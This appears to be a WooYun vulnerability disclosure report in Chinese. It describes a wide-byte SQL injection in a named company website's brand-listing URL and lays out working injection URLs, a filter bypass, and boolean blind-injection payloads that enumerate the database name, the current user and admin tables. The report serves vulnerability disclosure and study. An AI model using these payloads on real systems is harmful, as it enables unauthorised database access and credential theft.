WooYun.org

注入点:http://www.asiaci.com/brandindex.php/designlist/dclass-%C6%B7%C5%C6.html
当查看网站的时候，发现品牌两个字对应的url有点特别。
http://www.asiaci.com/brandindex.php/designlist/dclass-%C6%B7%C5%C6.html

将其按照gbk进行解码得“品牌”这两个字，

也就说这里是按照菜单栏上的汉字进行查询的。
这里测试一下
1、加上单引号的时候，发现返回页面结果变化了。也就是我们的输入对其查询产生影响

2、根据上面分析url，我们可以猜测数据库的字符集是使用gbk的，这时候尝试宽字节注入。此时url变成这样。
http://www.asiaci.com/brandindex.php/designlist/dclass-%C6%B7%C5%C6%df'.html
此时，mysql报错，也就说明宽字节注入有效。%df吃掉了\

3、先尝试"--+"，发现“--”被过滤成“==”。改变注释方法
4、尝试“%23”，也就是“#”。此时url变成这样
http://www.asiaci.com/brandindex.php/designlist/dclass-%C6%B7%C5%C6%df'%23.html
页面不再报错了，返回页面没有任何公司信息。说明查询结果为空

5、进行bool调整，加上" or 1=1",此时返回所有结果。

我们加上limit 1限定一下

此时变成了
http://www.asiaci.com/brandindex.php/designlist/dclass-%C6%B7%C5%C6%df' or 1=1 limit 1%23.html
6、进行order by 分析，无法得出结果
7、发现这个参数在一个页面内用于多次查询。右边侧边栏查询了一次，正文查询了一次,所以不知道列数。
可以看到当union到16列的时候是一种查询。

union到17列又是一种查询

可以看出即使union select的列数符合一个表，但是无法符合别的表。
8、没办法了，只能利用bool盲注了
9、构造了几个payload，查询当前数据库长度，以及名字
长度:" or length(database())=$j"
名字:" or ascii(lower(substring(database(),$j,1)))<110"
名字采用二分法，很快可以注出来。
对于当前用户只需将database()改成user()即可
10、下面到了管理表，构造原始sql语句，查询类似管理表的数目
or (select count(1) from information_schema.tables where table_name like '%admin%')>2
但是因为单引号被过滤了，可以采用十六进制或者char()函数。这里使用char()函数
or (select count(1) from information_schema.tables where table_name like CHAR(37, 97, 100, 109, 105, 110, 37))>2
11、盲注表名
or ascii(substring((select table_name from information_schema.tables where table_name like CHAR(37, 97, 100, 109, 105, 110, 37) limit 1),1,1))<110